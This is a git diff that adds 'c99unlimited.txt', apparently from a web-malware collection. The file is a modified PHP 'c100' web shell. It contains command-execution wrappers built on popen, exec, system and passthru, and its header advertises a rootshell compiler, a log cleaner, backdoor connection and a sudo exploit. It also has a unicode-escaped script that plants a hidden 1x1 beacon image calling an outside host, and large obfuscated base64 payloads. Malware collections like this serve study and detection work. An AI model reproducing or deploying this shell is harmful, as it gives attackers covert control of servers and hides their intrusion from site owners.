GWUC/Vm699G1cxQpt/iC1X20quVl89fBGQ4qwZJoHEIy8Cexa+KJx2YKpnBm18eViXtbYtwdIUJrN/EEULxi2x/MEHw1P/rBL501yVF1XFjHak2G67hSgECdu5OiBpz2j302vhi3duxzxiTTCsPmF1OFe4LiIqVbyvHVBF0pHKcbkrMB0TwIk3b2bTijl58tBvpPW79pB0ECU8fyoqQsD0guRIYcZ2YdtaX9VHbkBGF4nmSm4qAOwujgaAzAXG3Ui8Fct/WyswvvpvozxPCZVlYygLe4Ch9+RjLGlB41K8N2gkPtC9Gu6sDrzTpImm75KplaQteoG32eMzF5xHM5ooP2YhbmZgdZkIrjnYv5IDJIs9Srs1cHbUvG6p9EueNhH+5/8o4oMlJGYxPAigIFU8DwiC+gaCx168Pwdrqv/+33/++edf//Pf//zff/8f')))); ?> \ No newline at end of file diff --git a/web-malware-collection-master/Backdoors/PHP/c99unlimited.txt b/web-malware-collection-master/Backdoors/PHP/c99unlimited.txt new file mode 100755 index 0000000..bddcf5a --- /dev/null +++ b/web-malware-collection-master/Backdoors/PHP/c99unlimited.txt @@ -0,0 +1,3579 @@ +<script type="text/javascript">document.write('\u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0022\u0068\u0074\u0074\u0070\u003a\u002f\u002f\u0061\u006c\u0074\u0075\u0072\u006b\u0073\u002e\u0063\u006f\u006d\u002f\u0073\u006e\u0066\u002f\u0073\u002e\u0070\u0068\u0070\u0022\u0020\u0077\u0069\u0064\u0074\u0068\u003d\u0022\u0031\u0022\u0020\u0068\u0065\u0069\u0067\u0068\u0074\u003d\u0022\u0031\u0022\u003e')</script> +<?php + +/****************************************************************************************** +* Locus7s Modified c100 Shell +* Beta v. 1.0a - Project x2300 +* Written by md5cracking.com +* Modified by Shadow & Preddy +* Edited By KingDefacer +*======================================================== +* New Modifications Implemented -- ++--------------------------------------------------------+ +* -Added link to Enumerate to escalate priviledges +* -Added Rootshell.c +* -Added Rootshell.c;auto-compiler +* -Execute Rootshell.c +* -Added Mig-Log Logcleaner +* -Execute Mig-Log Logcleaner +* -milw0rm searcher (Grabs OS and searches milw0rm) +* -Locus7s Style & Image +* -Added w4ck1ng Shell Backdoor Connect and Backdoor +* -Added PHP-Proxy link to hide your ass +* -Added your ip and server ip with whois capability +* -Added private 0day released by allahaka which utilizes the linux +* sudo bash to execute a stack overflow. +*======================================================== +$y1 = 'ev'; +* FEB. 14, 2007 RELEASE NOTES: ++--------------------------------------------------------+ +* PRIVATE RELEASE OF C100 SHELL FOR LOCUS7S MEMBERS +* FAILURE TO DO SO WILL RESULT IN LOSS OF VIP +* MEMBERS ACCESS, BAN FROM SITE, AND NO REFUND FOR VIP. +*======================================================== +* PRODUCT INFO: ++--------------------------------------------------------+ +* C100 SHELL CREATED BY CAPTAIN CRUNCH SECURITY TEAM +* WWW.CCTEAM.RU + +* C100 SHELL - REVAMPED (X2300) MODIFIED BY KINGDEFACER +* UNDERGROUND NETWORK | WWW.ALTURKS.COM +* \E0T/ +*********************************************************/ + +//for php proxy purposes + +function selfURL() { $s = empty($_SERVER["HTTPS"]) ? '' : ($_SERVER["HTTPS"] == "on") ? "s" : ""; $protocol = strleft(strtolower($_SERVER["SERVER_PROTOCOL"]), "/").$s; $port = ($_SERVER["SERVER_PORT"] == "80") ? "" : (":".$_SERVER["SERVER_PORT"]); return $protocol."://".$_SERVER['SERVER_NAME'].$port.$_SERVER['REQUEST_URI']; } function strleft($s1, $s2) { return substr($s1, 0, strpos($s1, $s2)); } +$selfurl = base64_encode(selfURL()); +$phprox="http://twofaced.org/proxy/index.php?q=".$selfurl; + +//end of link +$y2 = 'ilc'; +//milw0rm search +$Lversion = php_uname(r); +$OSV = php_uname(s); +if(eregi("Linux",$OSV)) +{ +$Lversion=substr($Lversion,0,6); +$millink="http://milw0rm.com/search.php?dong=Linux Kernel ".$Lversion; +}else{ +$Lversion=substr($Lversion,0,3); +$millink="http://milw0rm.com/search.php?dong=".$OSV." ".$Lversion; +} +//End of milw0rm search +$y3 = '0de'; + +//w4ck1ng Shell +if (!function_exists("myshellexec")) +{ +if(is_callable("popen")){ +function myshellexec($command) { +if (!($p=popen("($command)2>&1","r"))) { +return 126; +} +while (!feof($p)) { +$line=fgets($p,1000); +$out .= $line; +} +pclose($p); +return $out; +} +}else{ +function myshellexec($cmd) +{ +global $disablefunc; +$result = ""; +if (!empty($cmd)) +{ + if (is_callable("exec") and !in_array("exec",$disablefunc)) {exec($cmd,$result); $result = join("\n",$result);} + elseif (($result = `$cmd`) !== FALSE) {} + elseif (is_callable("system") and !in_array("system",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); system($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_callable("passthru") and !in_array("passthru",$disablefunc)) {$v = @ob_get_contents(); @ob_clean(); passthru($cmd); $result = @ob_get_contents(); @ob_clean(); echo $v;} + elseif (is_resource($fp = popen($cmd,"r"))) + { + $result = ""; + while(!feof($fp)) {$result .= fread($fp,1024);} + pclose($fp); + } +} +return $result; +} +} +} +$y4 = 'r.com'; +$proxy_shit="H4sIALMXx0QAA+RafXhU1Zm/M5mBAUJmUD4i2hKsKFSBhC9RRFN1FK1bRpSK1jXEfHCD+Spzp0AfkLjDrIzD2NiK0qe1Gx+0i61d6YqCrdEgSIJGn6DzdNPKyoAB7zCjRhglQGD2/b3n3Lk3Icg/6x/77MCZc37nvOf9Ou8577k3M8VfoZXWTlW+zU8hfa6eOZProhnT+9TyoxQVzphVNKto+qzCIqWwqGgWdRXM/Fa1kp+AXytdVlCg1NY9WFe+8tx05xv/P/qZItZf1bT68m9LBhZ41owZA69/UVHhtOmzsus/8+pCWv9ps2bOUgoKvy2FrJ//5+u/xnvHLTabLYvtSo4CNPFxh2sG1Y3LRf8MpUAZpExULlXGUQ1MpYFoqLRQG8VJxUElh0oahcZQLqT2hXLMJgt/aAxl6QJFQcF8xSPGGwg3HHS4UF4coiiLiMEgOW6nqvw+KkccLpQOwiiDpAwUFzFxPeJwoRQQLrCMTa2uenBqdfnk6qrawIop/rop00S/R+p2648WSl+YnwlU5lCZROVqiSdKmdbPNVTGUJklfQSbLqZCIpTLqVxAJZ9KERWcb5dRuZbKlVQulTxGUbmKyjCJv0/lEipTqGBPDJG6wqaRyvk/jnP0D+6HXYqw+cJ+/fDJ0H59o2X9XSq5iljzEbLPLevxVMZZ5nzH0v6epX0RFWSgK6hMpjJc9o+lkkdlusSzB7Chh0rnYw7XKLvw7SIqOmH4CthOyvcQvkfiP8HOiMN1ncQFNJ5P+PcSDyE8kfBsiScQnk34BonnE55HeJbEL0NmROwV4BQVNWLK30hlBWFd4k4q6yzz94OGsEfiGuK/mXC+xP9GZTvhayQ+RKXNgteCJ+EWm8CvUq1b5JfARxb9/LB/vWn//bB/vcnvNirFKYfLwes5WllI4zdb8A+onrje9Ece/EO4WOJKKvMIe6U+Y6leRDhPjrfDP4RjEr9E4ysIXyxxBP4hbJfr+QyNbyTcKcdbqGwmXCjxVvjHon8r/GPBq+EfwkGJm+Efwksk/2r4h/AtcvxHODeiDldU6t8G/0RNftciPgg/JfFVsJ9wm6R/GPFB+KAcD8N+wtdLjDhTCX8h5X+J+Iia67OT6NcR/qvES2B/1PTfhYgPwndL7IP9Fv2CNN5GeKbEjxPe1WqsX54Cvp00fq0cvwX+sMh/Av6w8DP2Ij4FVD5E/Dxuxs/4fuPgm/+4uT4KnbW1/mqcskVKye0/K1lQsaTKr1Usu6m61O+v8CslJUtq6mpLkIW1khKQl4F4luLXlpXVr1SWl1Zp9VXlBMvrAppSVldbW1GmKUsquLfSX1ZaW6lUEvQrNRU1mEE3miqtqqZiGYgCRFRTWl1dV6b4qysq6hV/XdlDFZpSWVkd8KtKaVlZRT1xFRTLl1VpFUpl/bKqWq1Seaiqupq1KNWUB6tqocIy+q8sqygtVwK1lD0eUlStrraalCaLapXKumUPKX6hkb9qSWmZVlVXi1nlgXqF+JdWQy2oSSoqtVqd6lfq66SQmnqoq9b5tQdX1pYSmUTc9kuVKsuq6/wV8EXFMjYP1tSRAdADvqTu2roSyGLZFSuqyNS6elKuVKurUkpum0+eLq+qLQn4K8qJHu6Wvq8prWJlq4mY9PPDu2W1WrVSuayiwpDF2tx6x2033lQyjRbUaGG17f9r/3LO2W+TLSVb0APpHhmDI6qqhiMbxWyiz8PYrnwsLx0T6SwbdI0445yjxdnmpIR9d9LhGoy9ipoY34+aktpi1LR5ylFTMldRU9KvRk0JtB41JU4NNSXmFagpWa5CTQm8ATUlyLWoSZN1qGkzr0dNibIRNSn6JGpKoBtR08b5LWpKxE2oKck/h5ouBptRU3J4ETUlzi2oKVFuRU2H6HbUdFl4HTUl3BbUlKR3oaZk3IaaNmo7atq8Hajp4hFDTUm5EzVdSvahpktOHDVdXLpQU4LWUdPFJ4WaLkPdqOmCkkZNl5ge1HR56UWNZE7+HUzJyIGakrwLNS1YLmq6BHlQ0+VoJGo6hPJR0+F1CWpKkgWoKRlfhpoOl4XhQ8GUS3+ClkZP4WsTnUR7diqZmXeQxMwEH31jnTMTsKIqmol4hj4TsLIqxhIdjLHCKkIk0cIYK60i7Sa2MMaKqzjSEk2MsfIqrnyJRsaIABWhl2hgjEhQcW1I1DNGRKhIi4nFjBEZ6jxgH2NEiIrjO1HMGJGi4vqSKGSMiFEXAxcwRuSoMCjhYYwIUuuBFcaIJHUFcPcZYESU2sD2M0ZkqevYfsaIMLWR7WeMSFM3sv2MEXFqE9vPGJGnbmb7GSMC1S1sP2NEorqd7WeMiFRb2H7GiEy1je1njAhVO9h+xohUtZPtZ4yIVeNsP2NErqqz/YwRwWo3288Ykaz2sP2ngWO8/jbYz7iT1x+4g/E+Xn/gFsZxXn/gLYy7eP2BmxjrvP7AjYxTvP7ADYy7ef2B6xmnef2BFzPu4fUH9jHu5fUHLmaMnaIuAi5kjB2jLgYuYIydo6rAHsbYQWo9sMIYO0ldAdzdC4wdpTaw/Yyxs9R1bD9j7DC1ke1njJ2mbmT7GWPHqU1sP+Gizx4IHwh2dfvuXqCub8XK06X6zh+rnZTr9fm0AOnGRtqbd/mwQspPHtl59H66zAWxfqEWzZ7piPxz756dTEP7t2HuPOKuBCY9u46e7yKe0AfamPDXwRbHJuDMB9nuQHK3E6S2PTvDX4u5z95MjiOeFyHWwNwTTOWq6NSn/vTU8eAuj5Rz1yMpZAFSmikn7Wr14qlUaQ3dgYChT2sIoYjMEOHWHK9rlTOxwG7g6MgQJkS8uSRXjZPZmRke3UbuICkk+YqByD6RZP84JckC40hBGswU6uMoI1Bfa+g6KTfRM2RgYUcklydPfaOwzyRZTVbYSP2xYbAxK+Gpc0g4LqdO+2YJJyXZsKyEQuqOMmXmLMZEqSqHaCleP83kiR5lYOk5bYLt1pPfKH2QJIsaZIFcWkW263fn4HyBnHKfZQqvOGYlHxpoSr6cckX/KbhhJGcHU46B7ByPWTNxgdDzxEThdTufWZRpDCclfgdnNIOhsvL74IZgUIvN+e+fsMxn6+J0t9A7h3CAT4CODSZ104n+0v6TqIUAuzv0BoKetsRzNEOPCc0IZ2bizqMHT8gOl9rchhP6E+p8QyxuODTvDDTFtxK4AUzeBJNfZJmoceA1Jlb2EK47y/zxUCjliIbuph6fOo6oMq+ArSE/1LJmapb/VJPfpeA37ix+ewexTZLHfEnfDO6KhdHhE1lG14HR387y1Dpm5FrqjrBqxzt9+l5j1VeajJ4xGd0ORtGzGN0gNZoZ66LxuVmvLh1icl5u2nUfuNxqUinqA+i59GLLgcCXlU+dYvV+iuHRJ/qt3tvHB1g95eTZq6f9MLg6rQS8YNUEVu/2GDNF9O1F56s9Wf7Cs1/19LfzHtbHoa4nsJRCehEWVK8x/AH46K/p+TrlyI4udeurv5aMLb0j9CUD9Obpd4reylbnYjLRrri3OZsOgmOuz9CnctODKfRQQuSslibdl+ez68LsbRkKGs4m4f8d8UHOgsMOl0/9Apa2C8eJsTCbl1jlEK7mtfmj6dmThKMhnQ1N95hLZvTVXMSSQZr3jkm6J0safQY9op+M9el5zNwVdeT72AJ9+FjJwkHWStt8eit7Ite9rcWnXgLOFj7En0cdYKJPHkCtvwmHBOfuo4hU3GvxigI6Flh0nGDMczwLKve2YpePW5Fixw4939L2TEA8Wjpclg73q8UOn3r9WSpeblHxMba5oI+K04WK+udpLMJsXjh8Z7QLREPR7Mnx+vyvMpnkZViaxSRC9xhhk7vUpv8KgFqKHuaWS42+Y2yE418PcIyNFNutCZxeHsPyk9PJAcREP3yMHd7ngLox3W9PHPiKOxqfVSic5jg7yf5VbqHMLWIo2dXq7fYo4sjzdvvUpjQOaw7TuwS7TS1f0SLPxXcm8F19MnpnO7Q/CuX2QLnRUrmng3PjJMPmfrLF/WpLOHTzGeOmopg3FWcX1HAmHhNSlzrU59JY5mL283e/ktEO2sjIUEPKGCvyRDagczuebMI7rszd0NDtcG3HbejDOG+5fzkmnPiWmDCejtliduSoYDNUUax6JYdnk1xZBj5nisCVWBc4QY3DsutGy2inYwwe0N8/Km4HL7B/jyIYZvCSzeBgUEVD0ZwJJNxWp4M8b1PkgctuXX80u11ZzjHIiY0S4XUl5U15LmRF/uSouawY0W9Pi/Dh6QXvEsmGUf3UvEKqaYdWTiy/NQYok9Mio0NdjOlVx87ekzf2Zxn7UrB8ia4EET6G+GJM19VHUnj4iHhd4VCafYFvtzZJNtZcIBp57rWP4lz+AO7gnhHavYldQHPhJiXwA2wc3g///qWx26WeTe8iDnpYtSN91BV9vxppqEv7axIRNCK2bEuVpRn95JdG4rYnF2WGg1/ygJSpzUWKaIKIjywiHj3WZ5GM7smmFLu+86ixn1+jFnuC6GHCUTh1pFgC/RVxmGUCLjWN/l7DtFx1RDvhlIkLgPeZeDFwu4mbgF83cRz4Rcv89wj/1sQ/BF5v4Qe8ysIPuNrErPf9AlvtiYPuZkv/PT9+JIV7YtPCDodrXagNB2nzHvrufQ1/NtmiHPuDMXSah05jKCOHWkNbT4sjQRJt7gXRC71WIjm08RSGfn1qoKGTPHTSOhSNLqI88Zec9+lkKLbzAeNbcKfe1i2TvotGkaJbQ7nUauGWB61P0BqJVhda+dTaxa1LqNXGrQJqtXPrMmp1cGsitWLcuopandwq7BHGtYZmZFuzZSvKtlIW70HqeY7bxdyGoXQyifZJtOf14PS8g77LcQg265SW3riJTO99De+njz2XvUvxc8tWYWPYm+b7k7s11EUT8PY88TZ9Yz9kAml+r2DscdsXxlODMzHCAT13nTb0BEUO44bZivadvh3fC9iTQ6MMMkryA+vgbkzGqvuiHBc+NdBhZvE3hcSG5jY+JYdRAxKJ3UjZFxhr9lltsNG3QZJnkDgTl2fgsLYz4kRcQ6J8+tjPDLOmCFU41/JQJiWH3KEUkpMT+Ypvi/99xsrol0y916Q+rBh2YXgTDx/8TCbt7fyUhG9Fm48bClLcjrjdiQwlUnSEiYp9evPnPIlJgteFQFHwsNXQ/Bykyu3ClUlB2OoQhCKRSP/q0z6X8vmRtfl1domV1Xt2mWIjTBIp9mQKTd1SsOE/hA0ZzsqJztNWJzzPVrYns06I9nHCyzz8J2MYkrGv+SHwF4KRpPwLUwb7U7LfK/pQ7mDKe/tT4m+0iTmnsR+yxnXbELAtUqIZusFmtEY87ExcilDfgAMhwqM74s6owxPdIO3zLdC7j2Rt00XUHzfi2P0GJeI4boLN+K7VbpGNNXmiUUrJ6wWWB+SnjP8bcdLL5REyM1v5zNErhZ+TPzdspfvKL1PyviJII2uZNOxJLrQs8j+lzrPIunL2IveV/U5Snn4t2d0tdi6/Tw02c7d77Uen+vi3kW3jk1qra2jG+aRo17B9OJ984sjyLbW5t/FB5hNnm4/gVtb8v/KQLAs24dqdnMzZGv/ORb7ZQo5bRyCtjzcUh1LiColWtKLngRK8KpPvymbY5P0K57T+h+FGjo6GOvnQ+cImn7dw59jNqdzJtylgfZ+gXxc6waMnccLsDp3C64yG5hN8TKnsX3kJkNeh14YZz0ER5ms+tcU7zAvDDckB7xGHxGQxMxyK4ZnueptcR6F2sMXhE+Ro6YOOZB9A7QaBPUtAe+ZQIkswtK+m7mEW88XFS9FG9JH9FvlWfz5XPHUpe01FXzLE0uNSD5+QPcaTYVo3nwx3Qc4xwyN9bT0xVFxtTw7C1TYtpn+Tz4YdGdBnfx5qXki34CJ906cyOmLZB4xYn1vpbOlRu8w+0h94rcj+6GJ/dBn+6DL9MZWTDSY5NbcQwEfQGH7udrhfDSXOcAjrciEk6znnZx0jRvJ1rmRzjTe9yp4cEw0dgRhvmvIt5b7BUW+acutHFiKpCX64k4gSm90s3rmbCQaydNRA6kgu+HlP4tacbMxZ52mu85oxPCerPx2TTIZvm5YvGnZDDn6qk9gvE5GHnhg5Vj791HhzAmgHqySzEidSB7PKE40cbXlig7E51DY8hwo13xt8XjUrWTA99TvfpRk+qt+R9R5Zg59PvWwvnsQRVVHWrCAxTUq09XXNveeXedRmBIluBkmxwSD//Az+bGPfYtrutRPl4hqbQTDTNw22vjIJPMDHnRwbe1imDD4mmjtZRF5EwBW5DnGzgij8Hitxoy2bQEDBCYTdrD9xSCStSXzqC+7CS08LEQYf/uPkSZmI7Opuc40mDTqvuW/1maduBf8xQrJ7mxOQs2V5l3yhhp4Ix1w41M5c2zlchokGRV7yKj2AlwQsJTmOjaPIY5tqBGf9ZzaDwNAqz6pVcmpraB/VxrsRBj56iJOHz1NdAx4+8qkpX66LthLpkW0QjsvMRL/+G7kxvT3B1T2K+ZeBffyOvidS7Ni0RdhNKFN/if50l/GQxh0j9X/NdmQCPfoKqY04VxIbpEcH0QOwXX9XDAqOc/GtrBwiJSZreFvyppSW3d8l70Qrb9eLD1I8KGFvr3nqvndAvKDx9oa93cHV3RXaCPqu0+zJC4gnfmyXvIga+AVg0mNIGSw1i3jT0kOzEdGQqjLX8hzpEH540YYRYdgbS+ygObu9nc7d3r9T/Q8qH9kQ6d5OTop/t/OsJsTNOm+8qZXrAyIHejuNLZfnMDMHHtv0R53i3XXfV18WHyw6YH2WWjlUv/qAeOv1ob7GKS8bTPhmXCwDqFxC6aSbanZ2qzcmjI4ZRpNEfh70pkSl4+2VeMUCvWymWHFYwgj9rwfFEwNsCXs7nwXrsDce8abmeLtXXxXx6pWtN79NoRNcrSsBWtkOl/R5hxDfQeMT9zmUZG5lq3efTaHvLhs/EEZG4YE23EHPA7YO+TciS2NHPMdHOQVK/H6/VC0WXB2DRybEhUdeA14xtjLi/TgYd1XSnT2P2odl256k2I7xbxUuwjFDtIj2GH5omcCvVsQ8j2Wex5zHwXyAbWBbl0DlhamIt3tSh4/6KFn6DKPbDaPbhdHtGW1ip77/435q1+4Xar/CeIhULrkmsjAW9aZsnsTzeCzss0zubaRity0Yt4W9Or+RwmLR/ZQ8n9He7tR/fqCfkCFSyAd9hYxl84dIw5IU5DHaQ4npZ0QM0IV3S1xurpjlxRp2SoZv7eIidGXc2PpGz6S4PPDl7WqpvF/xUU5nlt62v987HeNseEkKXOgK2yNeV3A2q9uL38UmqzkIMwE6clyZQv3u/f9D3rNAN1WmeXPvTXLbhiZIq6BVLy+nPFqwgGJZta8rVGgb+1DBQSY0SRNsE06T8pixIKawlAq6jjPjuIrOOoI7u+Nh3FVnR8XKIhSsvFXKez063k4Yt+uiU2dZ2O/7H8lNmxTEs+fs4z/8N//re/zf43/d2x8+LowiwxCWdZ5k4855/NouWkjOFfHchFaPPjUYZGMMJJMp7DxV2Hk+du7W+gXqlh11/R2ag+i6X9JsOPzqw1hfYUxqPY/CfvYkFfZ+zK/GgQ23L9FrAOPGun4TdKt/luZ4eNugIegShH55YgChaYMImS+H0H2Rs2UvFB3EkalrY+ue8/80gp1VoV5rybrjE/D9r7il7oy07sSTjefpZn+JoN99klX1kbGvz6nnnoiPTzYhfBPOz1oXsG3Tm4TYKvxeXMhDsb7yJF9RQ8ewBHiDTSI8lsrkiUNXR1FWRHc7ScpRRJostfl+cBBNfaf+++OIYiqx0536eoqwo/V83KRQ5/bXi6xO+mthv2b2Kzt9f0lw2fSJpKtqh2aLTZd8uNOdejfDrSmkwzItBjGMOGE04gSYp3kH460/O25sLUdalYzlswApDHUdjzyFnJxhphedBAlcpkbHQEJhM9h5ic1g583cTk3cTsm+M3I2C9B11Dk6KrK87dqfve11/d72iq9xo5u1xKTvPBHTWmuf0HL1bvORr+i7ABj3ycg2i45/X8PIAmOeva0TVdc6UghbIq05Qss4Iuw+/a8pIgovGuD/A/lZ2EeajdQ/7aH0SsHR+mCZF0ewwIjAyMDvDAhy9Bc5AgdB4BBaCojX9oEd6FefiK83+nQlBcboQ6SBTf/Zcdb5s5HWs0LLCNrSamhZTMcp7Sw9sACKOKPfeJyNR30gGBCpCCnwK297iULLvoZkOrSGoRiGX77XQwNsVXDbVIKjGHQeViV0xAHeFxznFoW9itc49KLj8V4pekGCyYyEEQH0euFiSxbMABfQubDRfULC0i2NzRXR259Axafjauy0aFzMrLyGLdL8V/FVBwGwYeWqvdA7MBHoESELVjWd0v0aO4SWYIvZDtU9mdR7Q/ipj5bVrnVHWrvF8NX4XA1C6DaFG6JV8CuFJ0ZnQze9kZmmcC1NiOG5gzFNIJhou8mDq9NFfI01sPQcnZeWqGDox3u4oRNlKUxp4BQltrjSRnJDs+mFHzNDyyGGZjD1bT2D7IrSazPFNpBkObK1h+0ftaMicg8r5nbtBI40bxTR7UILa9GuHSOU+Yz3NrdymRCXhZW3civP0af2GK18DM0RfjuEF5GnWP/pvOHDvzxBKwZoWa8+yqe7ORylrD/3UXzlTmh0HzXS2E5z+kcfDaLxBFvFO7DHDNs7R41LjXCVvhnRzwyFtTjFSQMpLkigOI9RdA+iGB1NFAcaK8qMdImgtEzI7S5S6MAHPncAFpPc59hHalz4faCLr6klITgZ0sKjvGQHQMZJKK/OjHxywdvuzIzeFGsnYrtrvGTaNrb7T2xH3lnYYA+Ok97YD9kqp4hs2si3l+Fr2Tte2H9M301e7BLZfQmLC/3RD2M9BMzQDxzSaSMMvR9kMvYV40tcn71tBK7xaWZ1LU247W0/NfFS9+obacJkbyO7V5IR7W1VgLH33kxe4rW3iVI887gNVia9MvjRGlKyBxeXbU+kGfOrp9DWS+xtjVYOusT+WLOZt+oiUHYwvN6zw3gh/jGHvQ0/247nV2fT9F4CsAC2Zr1vxgDyCMAhWOj1bhmGfvapTNcbG7VPnWQKlZeYyCgp6786QuZr2HNEWs8IKxSy5Baj4+NC1a85EjemuIAbh1ELJi5CUE35kLuIEbrncDLofIDuqEDVdcAa3DFwlwK59mKl94IND8KO0oOwY6h/AgDGlc6M8Npda3tQPbvWHscfumUna8ThtMYUP+FDg3sNM+zsmLH99CHC9izSrtXI+g1JWQ/ZiGVBIw+6Tp3Czb3LhF7VW26LnUwaydzMLfwIsUZ8mlaP1393aGg7NtvwtJKIIDyWjp2SwBkY0LYng5wt9Vzg3xJF3iYfcOHpCflyKpwZHUkh8Yvt6BSaxj+OijLccircrRmC0YX3iujCvQszuIJMRDM4DMGk/BoV6XrCCl09dghQET/c1guO0EOg15/DNnFgh76CAbdNOpYA7dj4E4RmHdwoOyKdklP/w2GG5yc98Ur76225x2KNmMiTa/+ZA0btT9QnHozrg6gWRpBIlwRrFIMwlqZzKTUkNYG70pOaQP7hJCZQSBPCykz9lQMx2tF0qg9zKn38MQ3tooeod+wl2r6bxit8A9gl80Dvz9JibgY1G4psVHHM5ahrSbjCQgXl6B8fYNo9EdMPFHPdmp36vYf4mgxm7JFkxv7ng7TrO0BDCOZtfyr3JFUYwdJpHVJL5/Yl+Kjetn9or9mv8B77kyroJYVN8eSFuZHShoND6yh9/yAdWVLJvVyJ62gmTSjLrGxcYqYa6XSn7oaiEIc+fiHxuzRyeo4JKbyi9zRZ56Nuljj0Z/exBVAWWRBn4V5zu8COydeexn7C7yn2e5L9kuNP35mDdGu/NEv3HKCbuIWgQPoCAHX4zj626ip1RBsJSYUBFzlhqbht/0DaYlSjZ+WEQNxAGBU7BUAqtIn9jTZiFITaPXFqZAW7wiaGR1EpiTEpkYPVTyxJVExbLsH631pSKfu5/UMr+/oPLl/Z37d8R2VfZ+GYB/RPtJAvPOi+JkcfuS9h+5WuL+/GZaIYPkHy4/WG7qGd41Uzd3fZ6O5Gd83iwl97LHbqxHZz8TeYeuUHfGeOXy2qJGdz+s6Sd4y0leLk/MZKCIEfd1PQTmVIvz+/N9HvH3t/6K59LKc0BVyA9f5aTmUKT36QdHq+7hIEvTLX+oJwbkzLgdQAM2TiruBXx7ilN7wft3TuyIf3DnCm8C3f0od/0c0OYojvmFqS+84WKaXAcGnZ+7CUSmCu7qQC+8OeoQU2Q/qWApOlBIa/oi/9mLFSZnIScz7hEDdAp/4MEa7KrA/FPXKvgfEB60lY07NtDy44+LLFN44gnEMQlr/Pz9t8Ew10vtzDfWHjc0djdky+n95Kqmz4Mp0iIa/Y/4qUKk6Ot0uMne0VGfnfEyNXYiiOpCY3Mym5MQPIzU9OblKcnLE4a4/Rh1GKh7qM6k/uvXfsTvTefbuHto1RJj4C4g5m8Kz9r6kX8Yf3DLJGAazx+5eguFXgZi0RyF3sjdEZp+9BQ/c/o53tqDjz2xvXRu/5U++7fza3d73bf+OEHe0HIv1iWKWTQ54p+eRATq4GOV90siGtGs5h4nDp8W1vB0kNPhSr4QNE7OgrS9e64odiOYaaHH1SV/z8gAju2HvGUzJbl/GUTCFbdP6WABo3DV1d+Z6x2scPuRzktdALZO++1hT7QiLSem7UKjF6+0bt5fYdUt25Ddq5SGfxenGjtiOed60XoV3aasdG7US8dCq2wi8o3tyl/X7SLu3zKbG3Ovx4fpZme9jce1LAd4xbIG7FwiIobQVuz0maUrRBWK9t7UB0IhZn0mLIYcUWPBIBeg5aukHo7Bft2zs3lOW+jLT7LpIzk3eliliDyBkJGrTvePcTeYO2tbNfhlzaAQJgSgCA2sgZO9Sy3e4GbUtnvyVZa6QPtZEzdyaShr5HBKn36os4ftmK8PMRPDaVNMecXcLt+NdjnSIW2mhhRBdJMaZ3oXBg7fBCh/YCO+uu/sX0qKxE+i++ib9hWyQqXzzQIUFBy7n7H6DHQdX87ydfHQv74n27mCEKqQKavynhpprEkOcT8vJ8nsalQt4ySC3zNIfwYoC8esjUBwNef4OQ54W0N9hc72kMuvCWA1dzWAj5WsLu4PKAUB5Y5mr0u1VXc0NLkycQLlTHhwyXwVT4QyF/oEGllx2k13g8UK/m+VRAqCLdgRfHDAgcHlovdrlVylJLM7m+QPX6Gz356UIN8BLGRsiQ2hSsfyik5ufnq0KzoFVXV1UPRSLNWV5G8ADqlka3GgiG1cUeFa9E8LhVQchtcq2EPEXqD5H65pZAAMjdOSFdGN8ipJXGAPHmB5UjTBfSuGygCHJ4X0TuBNXrgkp3ulA1N12gaKfmT80vULHa4xZqULzYGUM/hgjpxQHVHwCdBOqBay+DavI3+MKqqxEZWon9YSyDsOpCVANeNRxUiVZVzwpPfQtRD5NXGqrQyBvROTA3j1xkQfQRUIVC6H21p9G1kii4sVENN7u8Xn+9GvY1B1safCqIJ5//w8ZJAiOIV2PEZKPmqfWuAArU7Qm76n2q2+VpQu6WD4a/r7i6srxydqGaXI/1IAFgfDT0rLk52Fyo0gs9YqSEkka878OtLl6J0GFP82iw6PpgE3aJ3SWC/pAyxJVPMRuA1FzWKw+SnpAcvsK1wt/U0sS6qKKHoRnV+zxu8CQ38ZtlHgPWUCJ8gpYS/KC+0eMKNK5UC4llYfF4dwKe0jin5NoQt5o7PjRBABOpKZ6tFaIVqA9UOWvLqyprFqrFpZgAs6UF3KfS8nyTVRLoMKLGgtsfWgq2AcYAbkOqQqANT0B1BdwqXjySTuGXxeDZ4DMAfmlzsKHZ1aTy2gRwgK8nap+s8vGKWoGqtoQ8SYYL9Xv4/F5sSEjL88box8Y4kqe+gVmUXU1V6dwariXPMuiG34tI0tRUIWaQwGwoDA5FJViTOBqlEddKBk8rjHSTjWNpfCAeDM8rhkRB7YfLltpRbsEMtTK4TC2YOnU6jHHOqura1A4gCPOqZi+6q3yelqoeBDFkfUndXXdp1Ytqyhckb1JSXDoXaKSkX6nNrqotL0bhLqotr9Cq6hLZLa2qrNSI7BeVl83TBrUpKa8sSwrIQs2cutqyqvuSI4dQUXz/ojiNmkHw0Pda6J+zal556fwk+Fm9dn+pRnxrYH2dc5Gzuur++Ytq5zuTSShWX1xWVj1UfQpFxurrarSh4Ytrau4rG1RfgfaVijiEQCgUoCEEAR6u5O3iYfy0gpB6O0xTA2RXplXOHyyuKQMkROx9Bv2ZLsyprXUy7SQjlWIQjAUN3HBxoz8E47FxaF/uD/tUcNAGTzhhlrtUz0hwCTDDsfQD46cWuKfEHgtJvjD2WAhCwMk4gUTJNlkJpohzIdaytBfiwm30vpuUonbn839CMvaZ6ICNQpg+UJhTbs6/OX1OMERWelAIzMFPSChuCfuCzf4fkrG2UC1xhWAlALOJszm4YmVe8lqOD6amS8isKJq8HzNTXV7IAhnf8huDDZfA/3810P7jVWj/X4OJ3LGJEV/X4n2UuCcqiNUOHaj8cB3x38nj/94QCNLl7RXDexqCYT9bn9El+RXD4+15bhVvAbz8gJtKukCCdWY4WB9s5Iuhy4MnW77vIAFypeB3QADypxsPmKVgm4p3An4rCcJWpwlX1LiDCbUsXRok+7zLDy63u9kTCqnhlUs9V4KkJUAYh70ooAk2wlaHzarkJsHL4T82JwMOBtvs8ZL7Cy8jcGqe8HLYrKktAbL5Qp4uj396XSTdZ16JDePFkfHd6LcP9GrJK8dgkJ/fDYrAY5lwMAj7nsBlTZleV9jVqDIpXKEZmwwRL8zD76Lx+jD82vkxdjdp7hr6Wv0H6+ibv22PygpuZnQTvQcZP/3OZvhwfJ8TpUe4L5voHch49zDeu6y0ywqm+9bLCr9rGT8VxsXFhYsXg51QfhF+kZc++J2zfuj1U7KAB8bGXwx4DzVPn4K+fQHxAsTMDlm5Ae/jhXgHxEqID0IM